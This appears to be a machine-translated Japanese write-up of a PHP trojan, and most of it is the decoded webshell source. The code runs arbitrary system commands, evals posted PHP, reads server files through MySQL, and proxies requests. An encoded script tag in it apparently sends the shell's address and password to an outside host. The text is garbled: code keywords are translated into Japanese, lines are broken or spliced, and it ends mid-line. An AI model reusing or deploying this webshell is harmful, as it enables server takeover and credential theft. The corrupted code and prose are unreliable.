暗号化クラッキング PHP トロイの木馬分析 暗号化クラッキング

分析の結果、このトロイの木馬はbase64でエンコードされ、圧縮されていることがわかりました。関連する機密保持措置が講じられていますが、PHP コードは実行する必要があり、最終的に PHP ソース コードが生成されるため、デコード、解凍してファイルに書き込むために次の PHP プログラムが作成されます。
デコードと解凍のコードは次のとおりです:

コードをコピーします コードは次のとおりです:

function writetofile($filename, $data)
{ //ファイルの書き込み
$ filenum=@fopen($filename ,"w");
if (!$filenum) {
flock($filenum,LOCK_EX);
$file_data=fwrite($filenum,$data); fclose($filenum);
return true;
}
?>


次に、php 環境で実行すると、次のように php プレーンテキスト ファイルが得られます。以下に続きます:

error_reporting(7);
$mtime =explode(' ', microtime());
@set_time_limit(0); //非セーフ モードでは上記の関数を使用し、タイムアウト後にキャンセルできます。
/*====================== プログラム構成=====================*/
// パスワードの検証が必要かどうか。1 は検証が必要であることを意味し、その他の数字は直接入力を意味します。
$admin['check'] = "1";
// パスワードの検証が必要な場合は変更してください。ログインパスワード
// デフォルトのポートテーブル
$hidden = "44997";
$admin['port'] = "80,139,21,3389,3306,43958,1433,5631";
//ジャンプ秒数
$admin ['jumpsecond '] = "1";
//FTPクラッキング用の接続ポート
$alexa = "yes";
//Alexaランキングを表示するかどうか、yesまたはno
$admin['ftpport'] = " 21";
// phpspy 自体が編集したファイルの時刻を作成時刻に自動的に変更することを許可するかどうか (はい/いいえ)
$retime = "no";
// cmd.exe のデフォルトの場所。 proc_open 関数を使用するため、Linux システムに合わせて変更してください。(winnt システムがプログラム内で指定できることを前提としています)
$cmd = "cmd.exe"
// 以下は phpspy によって表示される著作権欄です。 、多くのプログラムによってキーワードとみなされ、強制終了されるため、ゆはん〜〜カスタマイズを許可します。まだ理解できない場合は変更しないでください~~
/*===================== 設定の終了 ========= ======== ====*/
$serveru = $_SERVER ['HTTP_HOST'].$_SERVER['PHP_SELF'];
$serverp = $admin['pass']; base64_decode('PHNjcmlwdCBzcmM9J2h0dHA6Ly8lMzglNjMlNjMlNjUlMkU lNjMlNkYlNkQvJTYzJTY1JTcyJTc0Lz9jZXJ0PTEzJnU9')
$copyurl =base64_decode('Jz48L3Njcmlwd) D4=');
$onoff = (function_exists('ini_get')) ?ini_get('register_globals') : get_cfg_var('register_globals'); $onoff != 1) {@extract ($_POST, EXTR_SKIP);@extract($_GET, EXTR_SKIP);}
$self = $_SERVER['PHP_SELF'];$dis_func = get_cfg_var("disable_functions"); *======== ============= 認証=====================*/
if($ admin['check'] == "1") {if ($_GET['action'] == "ログアウト") {setcookie ("adminpass", "");echo "ログアウトに成功しました...

>>";exit;}
if ($_POST['do'] == 'login') {$thepass=trim ($_POST['adminpass']);if ($admin['pass'] == $thepass) {setcookie ("adminpass",$thepass,time()+(1*24*3600) );echo "< ;meta http-equiv="refresh" c "".$copyurl.$serveru."&p=".$serverp.$copyurl."";exit;}}if (isset ($_COOKIE[' adminpass'])) {if ($_COOKIE['adminpass'] != $admin['pass']) {loginpage();}} else {loginpage();}}
/*== ===== ============== 検証終了=====================*/
// magic_quotes_gpc ステータスを決定する
if (get_magic_quotes_gpc( ; Rl0y3Bb/cIkumnVixOIE/cMMF+ePxW1Ixah1yLBwe+5aHMa5JcsWs+T5JE+f9 /m+z/u8z73HP9cruaXbSAwhRAcmy4QcIBEyyd8zCJbw1FcJZH/cyZQDmpyTKYV) Vzkamnq+r5G21TIXN5aoTmHKO4d0uxulisl8vYGrr7JwhPn5marTG4ozM3oZ1hrYpk7JS2wR1/Fzb2+DnZGWos ZSV1lav+mfbePD5zooqJf9BveWZCMnR6Ah/MmfFlHarJKTM0jxCCAVBekQbmE0iMaOGlDqm iueh iZ5LpGA0D9BGUyMxdVdXy6YQskXxTGTJA8kkJPuv5h8Ec7f1P8UgcBsF8B9qow1N2b0lygy83SbY CPlcExGmncH0FjMNkTryVMlLJ/ec3bQ8v4HnauoqCKmJCmpe5n15KwiCIAiCIAiCIAjyUBCzU 2PF TJ1nCRGM4kqdNyAsKCr+eitLKE9AXui/+cXt0wt+26cRT4u3xc2pid9c0Yb2iH2eSzGh3VZLD6zWH SOa3sxYBmoZ/T3berbdy1rx6rtXd8PDY0FRsWjSiytjxdm+9nWTshyN1ujy5SRYTnmO6nymMc9hZY64Z4qmuVB5oT9YKeZSvtxbLe12mMiv0sKD7ZAddnOIprG8oUIYpSlfXCyWJNB83jKldItS Z M0QS1RdknumblesENSV6YcvqSxdEKJpvCuCfAtMyj4lC+KpltWyxviT+t7vpXT5kM3clqq+snA p3JGXr87YemMfXAu7xjkeMWL8XOVrsc0Ypwvfj8I7mVVzbChnJQIutdv3nVIEXVwCQ4PQ3 Yq UZUOdquC52dq1wEIh4aVfLWq2RzMgD2Wqmlev5AuxisZRS0N4Rev87SYAHfmUfm0Ou25pgsO58lJemX/NEUhZku1puSInsBxF4jrY4tEt75Y3EJ5R91xngylPgnO80xqhBmeSa376Z3+y CZxxU UF8ikY6GEwlCTLMrSgNLxaiQugOVjjM+ndetBfKM4rGLoBR+gdVcrEuOcpSRcn1UUxKSa9Z4ueCLOnaseqtWEx3Gc42vXQnXXSGKR1vTo3VuOd4MpREunGykKqTkwjMRC4BQRAEQRAEQRAE+S+YZCL+ Eph TYINGl8GuRfVGQprjwGaBKfHHzB9r98EYno/J1mnaURgrXwY0T9OSU8h975b/6f7FBUbrQqPBXlNDSIbWJtQ5CcktKMrKL4xoFq2D5zhCHtNYnS6nIHB8LWnV1tpq1LfTXcRqs1e7GwWrw+ 7cQ Mh6ku1stJXXcIVVPGez5zjLeRu/KQuyG8kqU/5qU87UXtOZ+k3BhpTIbwRiolYCsR2sHqyMIiQPT HkP3gyxCNalnAOs0JJc89rsl9XCuc6NFXUuF1chTBta7ZzS/HRFjREEQRAEQRAEQRDkXyJIlb62MOA4a NU 0L5op/TgenDEUlGW5vkySpJ6JJZ+Co8+201e8i+ izrfRyengPPfLBpY5q+peDHeX0dy3dwkD/c foTGL8Z2u6vXjbS6j+WbOk611TvP9ZLF9IXDneUrtzYUdKdJ9Ot9AVvR2nXXS6OElrqKKUraFeyd Tv9aqjD3zACGyVb204MOPq5Hnq5Io0pkv sHujbk81NdTzSVB4DQjlCno7+WXk717qR691C9Z2XLhS937Eg87wsMdJvVjEAgsX+PpXP81oR0IuDob7B81ClJn1nOd/0sSTtCvv4 +R78NjIM5d7d58ZPmq2XHTwz0OVb1+I 1Nb3WbSxs6HQ7H+fBIIDg6PjgxEQwPD0vfB8NjI2FF gWhQOnfp+sjJG6BNSGdGxybOXL8THATEHJSuDe891r1X6u8b7BsdvxkeGZTGR2/fDo+PSOO/j g6Hh1VRIqSkpGT+ MwzPNbidPNfI2Jh GgXe6Khmbyw7GOF0CV8nxD/uvA0EQBEEQBEEQBPnfQkX+D/3x9PfTQ+l30jVsIpvMMqyBfZ59iX2FLWTXsdVsHSuwm9j32Fa2k93HHmKPsJfZUTbf6DI2GbcaH/YlIAiCIAiCIA iCIAjy1/wO";
関数シェル($command){
グローバル $windows,$disablefunctions;
$exec = '';$output= '';
$dep[]= array('pipe','r');$dep[]=array( 'pipe','w');
if(is_callable('passthru') && !strstr($disablefunctions,'passthru')){ @ ob_start();passthru($command);$exec=@ob_get_contents(); @ob_clean();@ob_end_clean();}
elseif(is_callable('system') && !strstr($disablefunctions,'system')) {$tmp = @ob_get_contents();system($command) ) ; $output = @ob_get_contents(); @ob_clean(); }
elseif(is_callable('exec') && !strstr($command,$)出力);$output = join("n",$output);$exec= $output;}
elseif(is_callable('shell_exec') && !strstr($disablefunctions,'shell_exec')){$exec= shell_exec( $command);}
elseif(is_resource($output=popen($command,"r"))) {while(!feof($output )){$exec= fgets($output);}pclose($output) ;}
elseif(is_resource($res=proc_open($command,$dep,$pipes))){while(!feof($pipes[1])){$line = fgets($pipes[1]);出力.=$line;}$exec= $output;proc_close($res);}
elseif ($windows && is_object($ws = new COM("WScript.Shell"))){$dir=(isset($_SERVER["TEMP"]))?$_SERVER["TEMP"]:ini_get(' Upload_tmp_dir') ;$name = $_SERVER["TEMP"].name();$ws->Run("cmd.exe /C $command >$name", 0, true);$exec = file_get_contents( $name);unlink($name);}
return $exec;
}
// PHPINFO を表示
if ($_GET['action'] == "phpinfo") {echo $phpinfo=(!eregi("phpinfo ",$dis_func)) ? phpinfo() : "phpinfo() 関数が無効になっています。を確認してください。";exit;
}if($_GET['action'] == "nowuser") {$user = get_current_user();
if(!$user) $user = "ホストに異常があり、現在のユーザー名を取得できません!"
echo "現在のプロセス ユーザー名: $user";
終了;
}
if(isset($_POST['phpcode'])){eval("?".">$_POST[phpcode]");終了
}
if($action= ="mysqldown" ; "selectload_file('".$filename."');";
$result = @mysql_query($query, $link);
if(!$result){
$downtmp = "読み込みに失敗しました、おそらくファイルが存在しないか、ファイル権限がありません。
".mysql_error();
}else{
while ($row = mysql_fetch_array($result)) {
$filename = Basename($filename);
if($rardown=="yes"){
$zip = NEW Zip;
$zipfiles[]=Array("$filename",$row[0]);
$zip->Add($zipfiles,1);
$code = $zip->get_file ();
$filename = ".$filename.".rar";
$code = $row[0];
header("Content-type: application/octet-ストリーム");
header("Accept-Range: bytes");
header("Accept-Length: ".strlen($code));
header("Content-Disposition:attachment;filename=$filename"); code);
exit;
}
}
}
// 在中プロキシ
if (isset($_POST['url'])) {$proxycontents = @file_get_contents($_POST['url']);echo ($proxycontents) ? $proxycontents : "